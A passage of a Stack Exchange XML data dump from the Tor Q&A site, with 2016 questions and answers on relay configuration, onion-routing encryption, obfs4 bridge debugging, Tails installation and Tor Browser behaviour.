LastActivityDate="2017-02-26T22:26:31.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12091" PostTypeId="2" ParentId="1631" CreationDate="2016-07-12T03:45:58.363" Score="0" Body="&lt;p&gt;It's very simple: In most of tor's port-related directives - an IP-address can be specified. For example try use &lt;code&gt;ORPort 111.222.333.444:&amp;lt;port&amp;gt;&lt;/code&gt; instead of just &lt;code&gt;ORPort &amp;lt;port&amp;gt;&lt;/code&gt;. Actually if you'll post your torrc config it will be a way better and easier to advise you, but the basic concept is in answer.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-07-12T03:45:58.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12092" PostTypeId="2" ParentId="3870" CreationDate="2016-07-12T05:01:30.903" Score="2" Body="&lt;p&gt;I placed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;36367763ab73783c7af284446c59466b4cd653239a311cb7116d4618dee09a8425893dc7500b464fdaf1672d7bef5e891c6e2274568926a49fb4f45132c2a8b4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;into DDG and came across &lt;a href=&quot;https://md5hashing.net/hash/sha1/23af645cfd191a77736eae7324333e05520d4731&quot; rel=&quot;nofollow&quot;&gt;md5hashing.net&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which when I decrypt the (whirlpool) hash I get a &lt;code&gt;pastebin&lt;/code&gt; account with this downloadable file &lt;code&gt;uRkNsGsa.htm&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The info from this file I can't get past the recapture on the md5hashing site but when I run the file normally, I get a site with a recapture that won't load so I am stuck.&lt;/p&gt;&#xA;" OwnerUserId="13596" LastEditorUserId="1880" LastEditDate="2016-07-12T15:52:23.190" LastActivityDate="2016-07-12T15:52:23.190" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12093" PostTypeId="2" ParentId="9295" CreationDate="2016-07-12T10:47:52.227" Score="1" Body="&lt;p&gt;The &quot;database&quot; in the picture is an abstraction, it just represents some shared lookup mechanism.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relays with &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n2242&quot; rel=&quot;nofollow&quot;&gt;certain properties&lt;/a&gt; can be assigned the &lt;code&gt;HSDir&lt;/code&gt; flag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bob chooses 6 of these relays in the consensus as the &lt;code&gt;HSDirs&lt;/code&gt; to publish his hidden service descriptor to. The 6 chosen are &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec.txt#n505&quot; rel=&quot;nofollow&quot;&gt;based on his hidden services address and the list of &lt;code&gt;HSDirs&lt;/code&gt; in the current consensus&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alice also knows Bob's hidden service address, this is a shared value that is distributed out-of-band. Since Alice has the same consensus as Bob and Alice knows Bob's hidden service address, she too can compute the same 6 &lt;code&gt;HSDirs&lt;/code&gt; and retrieve the descriptor with the information of how to reach Bob's onion from one of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec.txt#n494&quot; rel=&quot;nofollow&quot;&gt;published&lt;/a&gt; and &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec.txt#n580&quot; rel=&quot;nofollow&quot;&gt;retrieved&lt;/a&gt; using Tor's directory protocol which uses &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n178&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;HTTP&lt;/code&gt; as a transport&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in conclusion:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;An &lt;code&gt;HSDir&lt;/code&gt; is a type of Directory Server that meets a specific set of criteria.&lt;/li&gt;&#xA;&lt;li&gt;There is no single port over which they are served.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-12T10:47:52.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12094" PostTypeId="2" ParentId="9450" CreationDate="2016-07-12T11:12:23.717" Score="4" Body="&lt;p&gt;This isn't a good idea.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;TCPCrypt is, and I can't stress this enough, &lt;em&gt;absolute trash&lt;/em&gt;.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It provides &lt;em&gt;no protection&lt;/em&gt; against an active MITM attacker, it's not authenticated.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;The remote party too must support TCPCrypt, otherwise it won't work.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Any remote party could just use TLS or an onion service and gain &lt;em&gt;greater&lt;/em&gt; protection than that offered by TCPCrypt.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Tor &lt;em&gt;cannot&lt;/em&gt; magically add crypto to traffic after leaves the network, it &lt;em&gt;absolutely &lt;strong&gt;must&lt;/em&gt;&lt;/strong&gt; be the responsibility of applications sending data over Tor to apply appropriate levels of cryptography to their communications, there is no alternative.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-12T11:12:23.717" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12095" PostTypeId="2" ParentId="9183" CreationDate="2016-07-12T11:33:10.470" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;You need to flush the NAT table too, as dingensundso suggests: &lt;code&gt;iptables -t nat -F&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;You probably don't want to just &lt;code&gt;ACCEPT&lt;/code&gt; all &lt;code&gt;INPUT&lt;/code&gt;, &lt;code&gt;OUTPUT&lt;/code&gt;, and &lt;code&gt;FORWARD&lt;/code&gt; traffic, this would disable packet-filtering (your &quot;firewall&quot;) entirely.&lt;/li&gt;&#xA;&lt;li&gt;Just switching Tor on and off is a terrible plan for anonymity. Your applications will keep state between your usage inside and outside of Tor and this state will potentially link your Tor usage to your non-Tor usage, deanonymizing you.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-12T11:33:10.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12096" PostTypeId="2" ParentId="8603" CreationDate="2016-07-12T11:47:48.807" Score="1" Body="&lt;h3&gt;how we can modify Tor browser to hide these footprints and look like a normal firefox user?&lt;/h3&gt;&#xA;&lt;p&gt;You cannot, some of Tor Browsers changes are hard coded patches. Trying to undo some of them by configuration will leave you still being detectable as Tor Browser but not looking like a normal Tor Browser user (I.E. more unique and more trackable).&lt;/p&gt;&#xA;&lt;p&gt;For more information see: &lt;a href=&quot;https://tor.stackexchange.com/a/11705/12737&quot;&gt;https://tor.stackexchange.com/a/11705/12737&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For what changes Tor Browser makes and why it makes them see: &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/projects/torbrowser/design/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-07-12T11:47:48.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12099" PostTypeId="2" ParentId="1883" CreationDate="2016-07-12T20:25:14.460" Score="0" Body="&lt;p&gt;Actually you can start an issue by contacting their support via phone. Use call recorder for a case when a &quot;first line of support&quot; will just decline you and show no cooperation. After that - post it on youtube, beeping out your secret word and other personal info and post it on a public bank-discussing forums and websites with your situation description. Trust me, they will do all the things to solve the issue =)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-07-12T20:25:14.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12100" PostTypeId="1" CreationDate="2016-07-12T21:23:56.070" Score="3" ViewCount="1215" Body="&lt;p&gt;I try understanding the tor circuit, i understand that if I send &quot;hello&quot; to, for example, google.es the circuit is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;() -&gt; encryption&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Me -&gt; (((input node))) -&gt; ((normal node)) -&gt; (output node) [text plain] -&gt; google.es&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i dont understand the return package from google, google or a random web page does not encrypt the package, then, how is now the circuit? and, do it use the sames nodes again for back?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="13604" LastActivityDate="2016-08-12T00:16:42.490" Title="Understanding the tor circuit" Tags="|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12101" PostTypeId="2" ParentId="12100" CreationDate="2016-07-12T23:12:09.657" Score="6" Body="&lt;p&gt;You build a TLS connection to your guard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Over that TLS connection you perform a &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt#n844&quot; rel=&quot;noreferrer&quot;&gt;key exchange&lt;/a&gt; using the OR protocol. Now you and the first guard compute two keys from the shared secret the key exchange netted you, a forward and a reverse key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you use the first OR to perform the key exchange with another OR, and again both can compute a shared forward and reverse key. And similarly you perform the same with the exit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you have a set of keys shared with each relay: &lt;code&gt;Guard[f1,r1]&lt;/code&gt;, &lt;code&gt;Middle[f2,r2]&lt;/code&gt; and &lt;code&gt;Exit[f3,r3]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data is sent forward down the circuit, you apply all 3 layers of encryption and each relay strips a layer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;You -&amp;gt; E(f1, E(f2, E(f3, data))) -&amp;gt; Guard -&amp;gt; E(f2, E(f3, data)) -&amp;gt; Middle -&amp;gt; E(f3, data) -&amp;gt; Exit -&amp;gt; data -&amp;gt; Google&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then to reply, it follows the reverse path using the reverse keys with each relay applying a layer, and at the end you use all 3 reverse keys to strip the layers.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Google -&amp;gt; data -&amp;gt; Exit -&amp;gt; E(r3, data) -&amp;gt; Middle -&amp;gt; E(r2, E(r3, data)) -&amp;gt; Guard -&amp;gt; E(r1, E(r2, E(r3, data))) -&amp;gt; You&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Conclusion:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Each relay strips a layer of encryption using the shared forward key on the way forward.&lt;/li&gt;&#xA;&lt;li&gt;Each relay adds a layer of encryption using the shared reverse key on the way back.&lt;/li&gt;&#xA;&lt;li&gt;The same path (circuit) is used for both forward and reverse.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-12T23:12:09.657" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12102" PostTypeId="2" ParentId="9318" CreationDate="2016-07-13T00:00:13.567" Score="1" Body="&lt;p&gt;This sounds like a false negative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ip-check.info (or any similar site) doesn't &lt;em&gt;know&lt;/em&gt; &quot;your own IP&quot;, it can detect that a different IP was used and assume it was a &quot;leak&quot;, but this could just mean that your circuit broke mid-use and a new one was built in it's place, resulting in a new/different IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These tests are fragile, even &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://check.torproject.org/&lt;/a&gt; is subject to false-negatives (I.E. it can occasionally incorrectly report you are not using Tor when you are).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't reproduce this issue from Tails 2.4.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-07-13T01:13:47.330" LastActivityDate="2016-07-13T01:13:47.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12103" PostTypeId="1" CreationDate="2016-07-13T02:33:16.393" Score="1" ViewCount="69" Body="&lt;p&gt;I had a problem trying to access Instagram on my regular browser due to too many sign-in attempts.  Now when I tried to create a new account, I get a message that says &quot;Sorry, something went wrong creating your account. Please try again soon.&quot; I'm certain the website is blocking new account creation attempts from my computer.  So I thought by installing Tor it would help make it appear as if I'm creating a new account from a different location and go smoothly but I still get the same message from Instagram.  Can anyone explain why this is happening?  Thanks&lt;/p&gt;&#xA;" OwnerUserId="13607" LastActivityDate="2016-07-13T02:33:16.393" Title="INSTAGRAM ONLINE ACCESS" Tags="|anonymity|" AnswerCount="0" CommentCount="0" ClosedDate="2016-07-13T09:42:51.910" ContentLicense="CC BY-SA 3.0" />
  <row Id="12104" PostTypeId="1" CreationDate="2016-07-13T08:55:41.007" Score="1" ViewCount="429" Body="&lt;pre&gt;&lt;code&gt;about:preferences#advanced -&amp;gt; Certificates -&amp;gt; ViewCert&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Firefox, I can add my own self-sign cert to browser.&#xA;However, in latest TBB(6.0+) I can't add certificate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is annoying because I have to make a exception every time to connect to HTTPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any method to add certificate to TBB?&lt;/p&gt;&#xA;" OwnerUserId="13608" LastEditorUserId="88" LastEditDate="2016-07-14T20:42:38.943" LastActivityDate="2017-02-16T03:47:58.673" Title="Latest TBB never accept self-sign certificate" Tags="|tor-browser-bundle|tls|certificate|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="12105" PostTypeId="1" CreationDate="2016-07-13T10:13:41.430" Score="4" ViewCount="2346" Body="&lt;p&gt;I tried different solution but it all failed, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I tried to install Tails 2.4 to 8GB Kingston drive and it give error, 'insuficient free space',&#xA;Drive is tested OK, no bad sectors, I then tried different usb slots - with same results.&#xA;Then I tried to follow advice from forums to log in with password, I set password - tried to install - same result!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used command line to install as SU, same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then used 16GB kinston, exactly the same error. 32GB SD card - same result!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that I setup VM and tried to install tails from VM, got this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Partitioning device /dev/sda&#xA;GDBus.Error:org.freedesktop.DBus.Error.UnknownMethod: No such interface 'org.freedesktop.UDisks2.Partition' on object at path /org/freedesktop/UDisks2/block_devices/sda1&#xA;Tails installation failed!&#xA;g-dbus-error-quark: GDBus.Error:org.freedesktop.DBus.Error.UnknownMethod: No such interface 'org.freedesktop.UDisks2.Partition' on object at path /org/freedesktop/UDisks2/block_devices/sda1 (19)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So this is horrible,&#xA;If anyone found the solution how to overcome this errors and install tails I would appreciate.&lt;/p&gt;&#xA;" OwnerUserId="13248" LastActivityDate="2018-03-29T18:57:21.230" Title="Impossible to install Tails" Tags="|tails|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12106" PostTypeId="1" CreationDate="2016-07-13T12:49:27.117" Score="1" ViewCount="9697" Body="&lt;p&gt;Why does Tor Browser use Firefox?&lt;/p&gt;&#xA;" OwnerUserId="13611" LastEditorUserId="12737" LastEditDate="2016-07-13T15:52:27.210" LastActivityDate="2021-02-17T12:13:10.030" Title="Why does Tor Browser use Firefox?" Tags="|tor-browser-bundle|firefox|browsers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12107" PostTypeId="1" AcceptedAnswerId="12113" CreationDate="2016-07-13T13:31:30.657" Score="1" ViewCount="1773" Body="&lt;p&gt;&lt;em&gt;Tor connects to private obfs4 bridge, but torbrowser fails&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I setup a private bridge (Tor 0.2.8.4) and tested it with Tor Browser (6.0.2) successfully. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I enabled obsf4 (0.0.3) in the bridge, Tor Browser (both 6.0.2 and 6.5a1) fails connecting with a &quot;general SOCKS server failure&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;13/07/2016 15:07:46.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;13/07/2016 15:07:46.200 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;13/07/2016 15:07:47.500 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;13/07/2016 15:07:47.500 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;13/07/2016 15:07:47.500 [WARN] Proxy Client: unable to connect to x.x.x.x:443 (&quot;general SOCKS server failure&quot;) &#xA;13/07/2016 15:07:54.800 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;13/07/2016 15:07:54.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;13/07/2016 15:07:54.800 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, Tor connects well to the bridge via command line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~# tor usebridges 1 bridge &quot;obfs4 x.x.x.x:443 BRIDGEFINGERPRINT&quot;&#xA;Jul 13 12:15:30.697 [notice] Tor v0.2.7.6 (git-605ae665009853bd) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.2h and Zlib 1.2.8.&#xA;...&#xA;Jul 13 12:15:32.000 [notice] Bootstrapped 20%: Asking for networkstatus consensus&#xA;Jul 13 12:15:32.000 [notice] new bridge descriptor 'name' (fresh): $BRIDGEFINGERPRINT~name at x.x.x.x&#xA;...&#xA;Jul 13 12:15:34.000 [notice] Bootstrapped 100%: Done&#xA;Jul 13 13:15:33.000 [notice] new bridge descriptor 'name' (fresh): $BRIDGEFINGERPRINT~name at x.x.x.x&#xA;Jul 13 14:15:34.000 [notice] new bridge descriptor 'name' (fresh): $BRIDGEFINGERPRINT~name at x.x.x.x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Moreover, when I configure torbrowser to connect to obfs4 bridges configured automatically, it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my bridge torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ORPort 443&#xA;Address x.x.x.x&#xA;Nickname name&#xA;BridgeRelay 1&#xA;PublishServerDescriptor 0&#xA;SocksPort 0&#xA;ServerTransportPlugin obfs4 exec /usr/bin/obfs4proxy managed&#xA;ExtORPort auto&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I followed the &lt;strike&gt;&lt;a href=&quot;https://www.torproject.org/projects/obfsproxy-debian-instructions.html.en#instructions&quot; rel=&quot;nofollow&quot;&gt;official documentation&lt;/a&gt;&lt;/strike&gt; in setting up the bridge. &#xA;update: The &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/PluggableTransports/obfs4proxy&quot; rel=&quot;nofollow&quot;&gt;official obfs4proxy setup doc&lt;/a&gt; has moved to the wiki&lt;/p&gt;&#xA;" OwnerUserId="13609" LastEditorUserId="13609" LastEditDate="2016-07-15T13:13:02.947" LastActivityDate="2016-07-15T13:13:02.947" Title="How can I debug Tor connections to see where obfs4 fails?" Tags="|bridge|obfs4|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12108" PostTypeId="2" ParentId="12106" CreationDate="2016-07-13T16:10:16.127" Score="2" Body="&lt;p&gt;Tor Browser is a set of design goals for anonymous browsing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow&quot;&gt;The Design and Implementation of the Tor Browser&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, while the current Tor Browser that's distributed is a patched version of Firefox, this is because currently Firefox is the only browser that is close enough to the requirements to meet these design goals without extensive re-engineering or having to maintain a fork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firefox also provides an &quot;Extended Support Release&quot; which is what Tor Browser is based on, which only gets security updates, not functionality updates which reduces the frequency and workload of maintaining the patch set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the money to pay for, or happen to know a team of developers with the time to maintain, a fork of another browser such that it complies with the specification then I'm sure your contribution would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember, Tor Browsers main goal is anonymity and unlinkability. It has successfully forced Eve to become Mallory. It's likely that any attempts to use other browsers without meeting the specification above would give Eve a much easier time, making Mallory an expense that need not be spent.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-13T16:10:16.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12111" PostTypeId="1" AcceptedAnswerId="12112" CreationDate="2016-07-13T17:42:49.793" Score="3" ViewCount="1364" Body="&lt;p&gt;I'm new into Tor world. Can I use Tor (go in deep web and visit it without buy or talk nowhere) in Italy without have risk to go in police problem?&lt;/p&gt;&#xA;" OwnerUserId="13610" LastActivityDate="2016-07-13T17:54:55.680" Title="Is Tor Illegal in Italy?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12112" PostTypeId="2" ParentId="12111" CreationDate="2016-07-13T17:54:55.680" Score="2" Body="&lt;p&gt;By using the Tor network you do not break any law in Italy. Using Tor is legal in Italy. &lt;/p&gt;&#xA;" OwnerUserId="13609" LastActivityDate="2016-07-13T17:54:55.680" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12113" PostTypeId="2" ParentId="12107" CreationDate="2016-07-13T19:33:44.393" Score="2" Body="&lt;p&gt;You can edit your &lt;code&gt;ClientTransportPlugin&lt;/code&gt; or &lt;code&gt;ServerTransportPlugin&lt;/code&gt; for obfs4proxy to include a &lt;code&gt;-logLevel&lt;/code&gt; followed by one of &lt;code&gt;ERROR&lt;/code&gt;,&lt;code&gt;WARN&lt;/code&gt;,&lt;code&gt;INFO&lt;/code&gt;, or &lt;code&gt;DEBUG&lt;/code&gt;, an &lt;code&gt;-enableLogging=true&lt;/code&gt; flag to enable logging, and a further &lt;code&gt;-unsafeLogging=true&lt;/code&gt; flag which removed the address scrubbing. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ClientTransportPlugin obfs3,obfs4,scramblesuit exec /usr/local/bin/obfs4proxy -enableLogging=true -logLevel INFO managed&#xA;Bridge obfs4 IP:Port Fingerprint Cert&#xA;UseBridges 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will log to a file located at &lt;code&gt;$TOR_PT_STATE_LOCATION/obfs4proxy.log&lt;/code&gt;, which by default would be &lt;code&gt;pt_state/obfs4proxy.log&lt;/code&gt; under your &lt;code&gt;DataDirectory&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://gitweb.torproject.org/pluggable-transports/obfs4.git/tree/obfs4proxy/obfs4proxy.go#n315&quot; rel=&quot;nofollow&quot;&gt;obfs4proxy/main.go:315&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="88" LastEditDate="2016-07-14T20:40:01.490" LastActivityDate="2016-07-14T20:40:01.490" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12114" PostTypeId="1" AcceptedAnswerId="12115" CreationDate="2016-07-13T19:36:26.877" Score="2" ViewCount="3079" Body="&lt;p&gt;I'm trying to use tor browser on my raspberry pi 2. I've downloaded and extracted the tar.xz but I can't get the tor browser to open. I navigate to tor-browser_en-US in the LXTerminal and type:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./start-tor-browser.desktop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This returns the message:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Launching './Browser/start-tor-browser --detach'...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But nothing happens. &#xA;Am I making some basic mistake like I have to change a .config file somewhere? I'm totally new to tor and whilst I've found a lot of advice on setting up a tor relay using a raspberry pi I've had difficulty finding advice on browsing using tor browser on a raspberry pi. Any help would be greatly appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13617" LastActivityDate="2016-07-13T22:08:31.993" Title="Running tor browser on raspberry pi 2" Tags="|tor-browser-bundle|raspberry-pi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12115" PostTypeId="2" ParentId="12114" CreationDate="2016-07-13T19:46:34.737" Score="2" Body="&lt;p&gt;RPi{1,2,3} are ARM architecture SoCs, Tor Browser is currently only available for x86 (i386) or x86_64 (AMD64) on Linux, there is no Tor Browser for any ARM platforms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such you won't be able run Tor Browser natively on the RPi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to follow the progress or contribute to the porting of Tor Browser to ARM see &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/12631&quot; rel=&quot;nofollow&quot;&gt;#12631&lt;/a&gt; and similarly see &lt;a href=&quot;https://labs.riseup.net/code/issues/10972&quot; rel=&quot;nofollow&quot;&gt;#10972&lt;/a&gt; for work on porting &lt;a href=&quot;https://tails.boum.org&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt; to ARM.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-07-13T22:08:31.993" LastActivityDate="2016-07-13T22:08:31.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12116" PostTypeId="1" CreationDate="2016-07-13T20:40:33.303" Score="2" ViewCount="562" Body="&lt;p&gt;Is there some easy method to use circuits in parallel in TOR using the STEM API. I wanted to use Website A for Circuit A and Website B for Circuit B. The problem is using threading the event listener is global hence both threads attach streams for both websites on each circuit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This (attached below) is the function I'm calling in each thread: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def scan(controller, path, websites, numReadings):&#xA;    circuit_id = controller.new_circuit(path, await_build = True)&#xA;&#xA;    def attach_stream(stream):&#xA;        if stream.status == 'NEW':&#xA;            try:&#xA;                controller.attach_stream(stream.id, circuit_id)&#xA;            except Exception as E:&#xA;                print &quot;Scan: &quot; + str(E)&#xA;                return 1000&#xA;&#xA;&#xA;    controller.add_event_listener(attach_stream, stem.control.EventType.STREAM)&#xA;&#xA;    try:&#xA;        controller.set_conf('__LeaveStreamsUnattached', '1')  # leave stream management to us&#xA;        getPage(controller, websites, numReadings, path)&#xA;    finally:&#xA;        controller.remove_event_listener(attach_stream)&#xA;        controller.reset_conf('__LeaveStreamsUnattached')&#xA;        controller.close_circuit(circuit_id)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12161" LastActivityDate="2016-07-29T13:24:37.557" Title="Using Circuits in Parallel" Tags="|circuit|python|stem|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12117" PostTypeId="1" CreationDate="2016-07-14T03:33:36.097" Score="2" ViewCount="238" Body="&lt;p&gt;myfigurecollection.net will not load properly in Tor browser (except for the login page for some reason - &lt;a href=&quot;https://secure.myfigurecollection.net/signs.php?mode=in&amp;amp;ln=en&quot; rel=&quot;nofollow&quot;&gt;https://secure.myfigurecollection.net/signs.php?mode=in&amp;amp;ln=en&lt;/a&gt;). Is this a bug in Tor browser? I have had no problems like this with any other site using Tor.&lt;/p&gt;&#xA;" OwnerUserId="13621" LastActivityDate="2016-07-14T15:53:19.517" Title="Why will myfigurecollection.net not load properly in Tor browser?" Tags="|website|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
